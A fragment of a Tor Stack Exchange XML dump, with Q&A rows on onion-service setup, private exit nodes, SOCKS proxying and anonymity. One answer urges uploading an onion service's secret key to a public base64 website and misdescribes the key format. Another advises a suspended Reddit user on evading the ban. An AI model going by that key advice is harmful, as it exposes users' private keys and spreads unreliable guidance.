unix:/var/spool/postfix-test/public/smtpd&#xA;&amp;lt;arma&amp;gt; i don't think anybody has built something similar for the onion service lines&#xA;&amp;lt;arma&amp;gt; but i think that tor is not dropping the groups, it simply is not letting you use the group permission there&#xA;&amp;lt;ketyn&amp;gt; I want to be able to receive email over a hidden service. Like in https://github.com/ehloonion/onionmx&#xA;&amp;lt;ketyn&amp;gt; &amp;gt; &amp;lt;arma&amp;gt; but i think that tor is not dropping the groups, it simply is not letting you use the group permission there&#xA;&amp;lt;ketyn&amp;gt; Huh, ok.&#xA;&amp;lt;arma&amp;gt; i say that because being in the group, for the control port, does work&#xA;&amp;lt;arma&amp;gt; so it's not like the group got dropped&#xA;&amp;lt;arma&amp;gt; check out the UnixSocksGroupWritable config option&#xA;&amp;lt;arma&amp;gt; maybe it will help what you want&#xA;&amp;lt;bentham&amp;gt; ketyn: Out of curiosity, why is your smtpd listening on a socket rather than, say, 127.0.0.1:25?&#xA;&amp;lt;arma&amp;gt; looks like no, it won't do what you want, because UnixSocksGroupWritable doesn't apply to hiddenservice lines&#xA;&amp;lt;ketyn&amp;gt; bentham: Because it seems more secure and means I don't have to worry about port conflicts or firewalls, and deploy this setup to computers I don't have full control over.&#xA;&amp;lt;ketyn&amp;gt; Here's another good reason I saw: https://github.com/freedomofpress/securedrop/issues/1261&#xA;&amp;lt;ketyn&amp;gt; &amp;quot;because applications sometimes (fairly) assume that localhost has a different threat model than an externally exposed service. Most recently, this common configuration lead to some hidden services exposing sensitive information through the Apache mod_status module&amp;quot;&#xA;...&#xA;&amp;lt;arma&amp;gt; actually arma said &amp;quot;just barely possible that the network team would take a good patch&amp;quot;&#xA;&amp;lt;arma&amp;gt; not quite the same as &amp;quot;probably not take&amp;quot;&#xA;&amp;lt;arma&amp;gt; but yes, more generally, there is vast confusion about what permissions are *supposed* to be, what groups happen by default in debian/ubuntu, what the SELinux and Apparmor policies do, etc&#xA;&amp;lt;arma&amp;gt; i think most people are probably doing it wrong but i don't even know what right is&#xA;&amp;lt;arma&amp;gt; i end up putting all my onion service directories in /tmp/ so they work, and that cannot at all be right&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tor-dev thread: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2022-July/014745.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2022-July/014745.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34754" LastEditorUserId="34754" LastEditDate="2022-07-07T03:29:35.363" LastActivityDate="2022-07-07T03:29:35.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23228" PostTypeId="2" ParentId="20429" CreationDate="2022-07-07T17:44:58.393" Score="0" Body="&lt;p&gt;With arch you can install torsocks then install tor-browser from aur like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo pacman -S community/torsocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;torify yay -S aur/tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34774" LastActivityDate="2022-07-07T17:44:58.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23230" PostTypeId="2" ParentId="1376" CreationDate="2022-07-12T20:39:13.390" Score="0" Body="&lt;p&gt;It is possible to setup non-published (private) exit node, but managing it is inconvenient. The node should be added to the client manually via ControlPort, using router descriptor, and the circuit over that Exit Node need to be build also manually.&lt;/p&gt;&#xA;&lt;p&gt;The algorithm in general is as follows. On &lt;strong&gt;server&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Configure Tor exit node as per official instructions&lt;/li&gt;&#xA;&lt;li&gt;Add the following to the configuration file to make it private: &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt;, and also activate DirPort on localhost: &lt;code&gt;DirPort 127.0.0.1:9093 NoAdvertise&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run Tor Exit node, grab its descriptor: &lt;code&gt;curl http://127.0.0.1:9093/tor/server/authority&lt;/code&gt;, save it somewhere&lt;/li&gt;&#xA;&lt;li&gt;Your Exit desciptor contains &lt;code&gt;fingerprint&lt;/code&gt; line with the fingerprint separated with spaces. Remove all spaces (make it 40 symbol string). That's the fingerprint of Exit Node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;On &lt;strong&gt;client&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set &lt;code&gt;UseMicrodescriptors 0&lt;/code&gt; (microdescriptors can't be easily managed outside of consensus, we'll work with full descriptors), activate ControlPort&lt;/li&gt;&#xA;&lt;li&gt;Start Tor client&lt;/li&gt;&#xA;&lt;li&gt;Connect to ControlPort, authenticate with AUTHENTICATE command (check &lt;a href=&quot;https://github.com/torproject/torspec/blob/main/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;controlspec&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Add Exit descriptor by running: &lt;code&gt;+POSTDESCRIPTOR cache=yes purpose=controller&lt;/code&gt;, paste the descriptor, end with &lt;code&gt;.&lt;/code&gt; (dot)&lt;/li&gt;&#xA;&lt;li&gt;Check connected circuits: &lt;code&gt;GETINFO circuit-status&lt;/code&gt;. You should see circuits in the form like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;4 BUILT $7A35EE286D3FDBB272F39D4916F0879EE12EA581~TK998,$40E82B3E7B9167BC2B8B8B94F8CC4F48317BDAC6~tirz,$07F0E652E4CCB0A0F1E88D0046ECB322E6318C86~RiggsOceanlock BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2022-07-12T20:27:24.770156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a 3-hop circuit: &lt;code&gt;7A35EE286D3FDBB272F39D4916F0879EE12EA581, 40E82B3E7B9167BC2B8B8B94F8CC4F48317BDAC6,07F0E652E4CCB0A0F1E88D0046ECB322E6318C86&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Grab any 3-hop circuit and replace the latest hop with the Fingerprint of your Exit Node.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;EXTENDCIRCUIT 0 7A35EE286D3FDBB272F39D4916F0879EE12EA581,40E82B3E7B9167BC2B8B8B94F8CC4F48317BDAC6,YOURFINGERPRINTHERE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now you can use your private Exit Node, however to reliably use it, you'll need to map exact IP addresses/domains to it. In ControlPort: &lt;code&gt;ADDRMAP ifconfig.co ifconfig.co.YOURFINGERPRINTHERE.exit&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now ifconfig.co would open via your private Exit Node.&lt;br /&gt;&#xA;This all could be automated with &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem custom path selection&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34784" LastActivityDate="2022-07-12T20:39:13.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23233" PostTypeId="1" CreationDate="2022-07-14T07:00:28.990" Score="0" ViewCount="240" Body="&lt;p&gt;I offer onion hosting to the general public and I am having some issues with many hidden services when they share an instance of Tor with a very busy service. When there is a very busy hidden service the other users suffer from outages themselves. I run many instances of Tor and most of which have a bunch of users in them. Some users get moved to their own instances when they are busy.&lt;/p&gt;&#xA;&lt;p&gt;My question is about monitoring the traffic of a particular hidden service on Tor's side of things, so I can identify busy hidden services. At the moment I merely monitor the resulting application traffic such as nginx logs. This is far from ideal because some hidden services when attacked don't go as far as making proper HTTP requests.&lt;/p&gt;&#xA;&lt;p&gt;I am interested in monitoring the Tor process for an instance itself, and seeing the busiest hidden services. I would like to do this without using things like debug logging, but if that is my only chance let me know. I think that the control port interface could be used somehow to do this. I am proficient in Python programming and it coding is required it would be in that language.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you know some ways I can optimize Tor within its torrc configuration for doing lots of hidden services I would like to know.&lt;/p&gt;&#xA;" OwnerUserId="34792" LastEditorUserId="34792" LastEditDate="2022-07-14T07:05:02.183" LastActivityDate="2022-07-16T21:18:30.303" Title="Traffic monitoring of specific hidden services" Tags="|onion-services|web-hosting|traffic-analysis|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23234" PostTypeId="1" CreationDate="2022-07-15T19:05:04.603" Score="0" ViewCount="824" Body="&lt;p&gt;I am trying to get some of my own code to make http requests over tor. However, I can't find any documentation on how to do this.&lt;/p&gt;&#xA;&lt;p&gt;Where can I find documentation on connecting to tor as a proxy?&lt;/p&gt;&#xA;" OwnerUserId="34801" LastEditorUserId="34801" LastEditDate="2022-07-15T20:12:06.107" LastActivityDate="2022-07-15T21:24:19.487" Title="Documentation for using tor as a proxy" Tags="|proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23236" PostTypeId="2" ParentId="23234" CreationDate="2022-07-15T21:24:19.487" Score="0" Body="&lt;p&gt;To make a request over Tor, you need to create a socket to tor's SOCKS proxy port, and then send/receive data on that socket following the &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot; rel=&quot;nofollow noreferrer&quot;&gt;SOCKS protocol&lt;/a&gt;. I don't think that there's any specific Tor documentation about how to write a program that communicates with tor's SOCKS proxy.&lt;/p&gt;&#xA;&lt;p&gt;Tor's SOCKS support is documented at: &amp;quot;Tor's extensions to the SOCKS protocol&amp;quot; — &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/socks-extensions.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/socks-extensions.txt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want an example of how to connect to the SOCKS proxy, a good example might be the source code of torsocks: &lt;a href=&quot;https://gitweb.torproject.org/torsocks.git/tree/src/common/socks5.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torsocks.git/tree/src/common/socks5.c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Depending on your programming language, there are probably libraries that will take care of the SOCKS stuff for you.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-07-15T21:24:19.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23237" PostTypeId="2" ParentId="21837" CreationDate="2022-07-16T03:11:51.753" Score="0" Body="&lt;p&gt;The secret key (hs_ed25519_secret_key) is the onion service's private key.&#xA;its a base 64 encoded file its easy to decode that go to the website &lt;a href=&quot;https://base64.guru/converter/encode/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://base64.guru/converter/encode/file&lt;/a&gt; then select the file and click enter boom! u will get the string file into txt format i tried and it worked so yea u can check it out&lt;/p&gt;&#xA;" OwnerUserId="34805" LastEditorUserId="34805" LastEditDate="2022-07-16T03:13:26.123" LastActivityDate="2022-07-16T03:13:26.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23238" PostTypeId="2" ParentId="23233" CreationDate="2022-07-16T21:18:30.303" Score="0" Body="&lt;p&gt;The answer is a way more simple than the approach you're talking about. This is what I suggest you to do:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a pool of Tor nodes - middle ones, no need for exits e.t.c...&lt;/li&gt;&#xA;&lt;li&gt;Every hidden service should use it's own VM or a container, &lt;em&gt;containing it's own tiny Tor instance&lt;/em&gt;&#xA;*This internal tor instance uses a pool of your nodes to be it's hops for exiting to the Tor network - and just them alone!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After that Tor's internal mechanisms should take the job you need to do: i.e. if one of the nodes is very busy, then another faster one will be selected automatically. One more advice - if your hidden services are able to run in parallel - try utilizing an onion service descriptor offloading like it's done on a busy sites&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-07-16T21:18:30.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23240" PostTypeId="1" CreationDate="2022-07-18T01:06:12.890" Score="1" ViewCount="300" Body="&lt;p&gt;Currently, within Tor browser's proxy settings, there is an option for using an HTTPS proxy, but it does not actually encrypt (perform a TLS handshake) the initial CONNECT message between the browser and HTTPS proxy.&lt;/p&gt;&#xA;&lt;p&gt;The same applies to Firefox and Chrome as well &lt;a href=&quot;https://stackoverflow.com/questions/56981993/https-proxy-server-only-works-in-switchomega&quot;&gt;[1]&lt;/a&gt;. However, these 2 browsers have a setting to use a proxy auto-config file (PAC), that when used with the same input when using the regular HTTPS proxy option (i.e. HTTPS &amp;lt;proxy_hostname_or_IP&amp;gt;:), achieves my desired result.&lt;/p&gt;&#xA;&lt;p&gt;However, Tor browser does not have the option to use a PAC &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/14087&quot; rel=&quot;nofollow noreferrer&quot;&gt;[2]&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="34810" LastEditorUserId="34810" LastEditDate="2022-07-18T01:07:10.877" LastActivityDate="2022-07-18T01:07:10.877" Title="Using Tor browser with a HTTPS Proxy that uses HTTPS CONNECT?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23242" PostTypeId="1" CreationDate="2022-07-21T03:50:35.140" Score="1" ViewCount="278" Body="&lt;p&gt;I was using the Tor browser (in safer mode in tails-5.2 with default settings, with no addon or any modification) to browse YouTube. While I was searching for Python tutorials, it offered that in the language of my region. How did YouTube figure it out even in Tor?&lt;/p&gt;&#xA;&lt;p&gt;Note: I used a fresh tails with no persistent storage or any other modifications. Also, I never searched YouTube in my language or watched any content of my region before. Hence, YouTube should have no knowledge of my language, isn't it? I tried multiple times rebooting tails and searched (with &amp;amp; without bridge) again only for Python (nothing before that). Also, I tried resetting identity and different circuits. But every time it was offering contents in my language (along with English).&lt;/p&gt;&#xA;&lt;p&gt;How is it even possible? Is it a bug? Or did Google perform a correlation? Or did webrtc/dns leak (Tor shouldn't have this issue)? Or cookie/javascript issues? Or anything else?&lt;/p&gt;&#xA;" OwnerUserId="34820" LastEditorUserId="13165" LastEditDate="2022-08-08T18:02:17.663" LastActivityDate="2022-08-15T01:33:30.400" Title="How was YouTube able to deanonymize Tor?" Tags="|deanonymization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23246" PostTypeId="1" CreationDate="2022-07-24T15:14:30.143" Score="1" ViewCount="71" Body="&lt;p&gt;Is the above question possible or not?&lt;/p&gt;&#xA;" OwnerUserId="34846" LastActivityDate="2022-07-24T15:14:30.143" Title="Can tor be used with PUTTY to create a ssh without revealing my ip or other credentials?" Tags="|ssh|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23248" PostTypeId="1" CreationDate="2022-07-26T05:43:03.193" Score="0" ViewCount="265" Body="&lt;p&gt;I programmed on my PC a website in php using xampp and mysql server, but how do I send these files contained in my folder, which is located at:&#xA;(ex: htdocs/my finished site),&#xA;to the tor network?&lt;/p&gt;&#xA;" OwnerUserId="34852" LastActivityDate="2022-07-26T23:25:41.323" Title="How can I create a site on the tor network? PHP" Tags="|onion-routing|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23249" PostTypeId="2" ParentId="23248" CreationDate="2022-07-26T23:25:41.323" Score="0" Body="&lt;p&gt;You should point the address:port of you webserver to Tor.&lt;/p&gt;&#xA;&lt;p&gt;First, create a folder in which the files for the .onion domain will be put on:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo mkdir /var/lib/tor/&amp;lt;site_name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change the permissions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod 0700 /var/lib/tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change the folder ownership to user running Tor (in Debian is debian-tor):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R debian-tor:debian-tor /var/lib/tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Edit your /etc/tor/torrc file and insert these lines&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/&amp;lt;site_name&amp;gt;&#xA;HiddenServicePort 80 &amp;lt;webserver_address&amp;gt;:&amp;lt;port&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace &amp;lt;webserver_address&amp;gt;: with the address:port of the webserver, for example 127.0.0.1:8080&lt;/p&gt;&#xA;&lt;p&gt;Restart Tor:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And finally pick up the address of your hidden site:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo cat /var/lib/tor/&amp;lt;site_name&amp;gt;/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Sorry if my English is bad).&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-07-26T23:25:41.323" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23251" PostTypeId="1" CreationDate="2022-07-27T15:36:57.360" Score="0" ViewCount="265" Body="&lt;p&gt;I made a secure drop server.&lt;/p&gt;&#xA;&lt;p&gt;For better security, I've set up onion service for ssh.&lt;/p&gt;&#xA;&lt;p&gt;How to ssh with onion address in Windows 10?&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;torify ssh root@myserver.onion&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;doesn't exist in window 10.&lt;/p&gt;&#xA;" OwnerUserId="34857" LastActivityDate="2022-08-02T00:47:37.783" Title="How to ssh with onion address on window 10?" Tags="|onion-services|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23252" PostTypeId="1" CreationDate="2022-07-30T00:00:14.297" Score="0" ViewCount="832" Body="&lt;p&gt;So, because Reddit can decide to suspend at will, my account has been permanently suspended from the site for alleged &amp;quot;ban evasion&amp;quot;...which is a total mistake, the subreddit that they are accusing me of evading a ban on, I'm the head mod of that subreddit, so it's totally impossible for me to be evading a ban from there. They've also suspended the few alts I had (this saga started months ago, and they for some reason just suspended my main yesterday), so it appears I'm Device ID or IP banned?&lt;/p&gt;&#xA;&lt;p&gt;Anyway, someone else on the team suggested I use Tor to continue being able to access the site. But I have a question, since I've never used Tor before.&lt;/p&gt;&#xA;&lt;p&gt;So, I downloaded it, and made an account on an IP hider email called proton.me, and then made an account on Reddit with that account. Is that safe enough, even if I use my home wifi, and the device I primarily used?&lt;/p&gt;&#xA;&lt;p&gt;Apologies if this seems super menial, this is just something new and I'm not sure how much it actually works.&lt;/p&gt;&#xA;" OwnerUserId="37000" LastActivityDate="2022-08-24T06:36:40.967" Title="How hidden is your IP and Device ID while using Tor?" Tags="|anonymity|help|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23253" PostTypeId="1" CreationDate="2022-07-31T20:49:53.087" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/263758/how-does-tor-play-the-role-of-dns&quot;&gt;Goal&lt;/a&gt;: I am trying to build an anonymous voting system and am wondering if Tor is sufficient to anonymize data by command-run-on(s), only when the proxy-onion-node has encrypted IP addresses that are destroyed upon opening/tampering?&lt;/p&gt;&#xA;&lt;p&gt;Pain Point: traffic correlation/metadata PII+vote sent by cron job still defeats anonymity if correlated by timestamp of milliseconds or less certainly.&lt;/p&gt;&#xA;&lt;p&gt;Solution: To prevent access to routing with tiny 'explosions' that destroy IP addresses to not only (1) prevent reuse+tapping but hide (2) addresses. &lt;strong&gt;The private key that encrypts the addresses may have to be 'hard-coded' and generated randomly&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="37007" LastActivityDate="2022-08-08T18:16:40.163" Title="Is Transmission Control Protocol of in a tamper proof (by 'tiny' explosions) device not the only way to circumvent transport correlation attacks?" Tags="|anonymity|security|ip-address|traffic-analysis|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23254" PostTypeId="1" CreationDate="2022-07-31T21:45:35.910" Score="2" ViewCount="248" Body="&lt;p&gt;With quantum computing becoming better by the day I have a few questions.&lt;/p&gt;&#xA;&lt;p&gt;How viable and likely is it that an adversary to saves all tor traffic in order to decrypt it at a later date?&lt;/p&gt;&#xA;&lt;p&gt;When approximately will quantum computers be good enough to decrypt all this data?&lt;/p&gt;&#xA;&lt;p&gt;Should tor users be worried?&lt;/p&gt;&#xA;" OwnerUserId="37008" LastActivityDate="2022-09-12T02:42:26.757" Title="Tor safe when taking future in to account?" Tags="|security|onion-routing|circuit|connection|attacks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23256" PostTypeId="2" ParentId="23254" CreationDate="2022-08-02T00:35:25.267" Score="2" Body="&lt;p&gt;Quantum threat is a real thing, especially in context of Shor's algorithm for a possible attack vector, for example. But there're a lot of quantum-resistant things like LWE and some EC's, so - using a proper cipher set &lt;strong&gt;and&lt;/strong&gt; negotiation mechanism we should not worry about that, at least for some long time. Anyway, your concern is a very good point to re-evaluate the basic things like a cipher sets &lt;em&gt;and&lt;/em&gt; RNG's used on any SSL connection, I was speaking about it for 10+ years myself :)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-02T00:35:25.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23257" PostTypeId="2" ParentId="23251" CreationDate="2022-08-02T00:47:37.783" Score="0" Body="&lt;p&gt;You don't need to torify - there is a better tool called &lt;a href=&quot;https://www.bitvise.com/ssh-client-download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitvise SSH client&lt;/a&gt; that just needs a SOCKS proxy to be specified for a connection, that's it! Don't forget to set the proxy to resolve host names for dot-onions to work properly! I'm using for years and there were not a single problem with it. Also it features a good pack of SSH-based tools in one toolkit - just check it out ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-02T00:47:37.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23258" PostTypeId="1" CreationDate="2022-08-03T20:43:00.583" Score="0" ViewCount="332" Body="&lt;p&gt;Wasabi Wallet application connects to the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/socks-extensions.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor SOCKS5&lt;/a&gt; endpoint (&lt;a href=&quot;https://github.com/zkSNACKs/WalletWasabi/blob/13fdc1566b626ac2dc56c33f0eb707bcab04e55b/WalletWasabi/Tor/Socks5/TorTcpConnectionFactory.cs#L77-L93&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;) and it specifies various &amp;quot;keep alive&amp;quot; options for that socket connections. Note that the TCP connections connect the application and Tor both of which runs on the same machine and under the same user.&lt;/p&gt;&#xA;&lt;p&gt;Is it necessary to specify that keep-alive options? Is it recommended? Is it useless?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2022-08-04T11:14:50.653" Title="Is it useful turn on &quot;keep alive&quot; for Tor SOCKS5 TCP connection?" Tags="|torsocks|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23259" PostTypeId="2" ParentId="23258" CreationDate="2022-08-04T11:14:50.653" Score="1" Body="&lt;p&gt;Asked the question here as well:&#xA;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/40653&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/issues/40653&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32419" LastActivityDate="2022-08-04T11:14:50.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23261" PostTypeId="2" ParentId="23252" CreationDate="2022-08-08T17:12:12.023" Score="0" Body="&lt;p&gt;Tor basically routes your traffic through the “Tor network”, making you appear to websites you visit as “another person”. In fact, your traffic through Tor is encrypted and forwarded to an “exit node”, which kinda makes the request for you and sends back the response through the network in the reverse way, back to you. Doing so, the IP websites see when you use Tor is your exit node's one, which is not correlated with yours. More on Tor on &lt;a href=&quot;https://en.wikipedia.org/wiki/Tor_(network)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Proton does not hide your IP but just encrypts mails as described &lt;a href=&quot;https://proton.me/blog/encrypted-email&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and claims not to log data from its customers. Anyway, Reddit has no means to access your IP via your mail provider other than a lawsuit (which is unlikely), or by adding trackers to mails. Trackers are probably present for advertising purpose, but I don't think the company would use the IP associated with trackers to ban someone.&lt;/p&gt;&#xA;&lt;p&gt;Using the Wi-Fi isn't a problem for your IP when using Tor, as described above. Your device ID and stuff could be used to target you, even &lt;a href=&quot;https://en.wikipedia.org/wiki/Device_fingerprint&quot; rel=&quot;nofollow noreferrer&quot;&gt;fingerprinting&lt;/a&gt;, but in a basic case like yours, an IP hide should be sufficient (in my opinion) as ban is usually done by IP address.&lt;/p&gt;&#xA;" OwnerUserId="37035" LastActivityDate="2022-08-08T17:12:12.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23262" PostTypeId="2" ParentId="22040" CreationDate="2022-08-08T17:59:14.533" Score="0" Body="&lt;p&gt;The answer is - actually - &lt;em&gt;inside&lt;/em&gt; the Tor network design. It is &lt;strong&gt;safe&lt;/strong&gt; to use plaintext protocols, including HTTP, when you're using a hidden service, because the encryption part is already done by Tor. The only two reasons to use HTTP&lt;strong&gt;S&lt;/strong&gt; via Tor are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Utilizing HTTP/2.0&lt;/strong&gt; multi-pipe architecture. By design HTTP/2.0 can not work inside a simple plaintext HTTP&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Using client certificates as an authentication token&lt;/strong&gt; by exporting the environment variables via standard HTTP or email services. It's quite a handy tool, especially when &lt;em&gt;properly&lt;/em&gt; integrated with PKI infrastructure&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So it's totally &lt;strong&gt;not&lt;/strong&gt; up to the tool - like Tor Browser - to think for/instead-of the user that is using it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-08T17:59:14.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23263" PostTypeId="2" ParentId="23253" CreationDate="2022-08-08T18:16:40.163" Score="0" Body="&lt;p&gt;It's enough for your task. Tor hides the one &lt;strong&gt;who is requesting&lt;/strong&gt; the data, not the one who is serving it. But in your case you're already open just by proposing a voting process, so it's totally not a concern in any matters. And - yes - Tor will shield up your voters&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-08T18:16:40.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23264" PostTypeId="2" ParentId="23252" CreationDate="2022-08-08T18:19:43.690" Score="0" Body="&lt;p&gt;It's a long-term problem of scum service detection, IMHO. Any service can &lt;em&gt;easily&lt;/em&gt; deploy an onion entrance to itself, it will &lt;strong&gt;not&lt;/strong&gt; alter the security protocols: clearnet addresses and LAN ones are the sources of the threats of the &lt;strong&gt;exact&lt;/strong&gt; same severity and importance. Even a Facebook has it's own official Tor entrance, that's an indicator - just FYI...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-08T18:19:43.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23265" PostTypeId="1" CreationDate="2022-08-09T20:28:51.807" Score="0" ViewCount="54" Body="&lt;p&gt;I'm kind of a newb with VBox and trying to boost my VM performance any way possible to make it more useful, but my guess would be not to mess with much of the default settings in the Whonix workstation or gateway besides the RAM and CPU, right?&lt;/p&gt;&#xA;&lt;p&gt;I found the host I/O caching to be of some help for performance but I wonder how big of a vulnerability the data exchange is. Is the data on the host an anonymity concern? Does it have any sensitive information? Looks like bidirectional copy/paste is enabled by default and I don't see how that would be much different...&lt;/p&gt;&#xA;" OwnerUserId="37041" LastActivityDate="2022-08-10T00:30:11.897" Title="Would enabling VirtualBox's &quot;host i/o caching&quot; option compromise much anonymity on your Whonix VM?" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
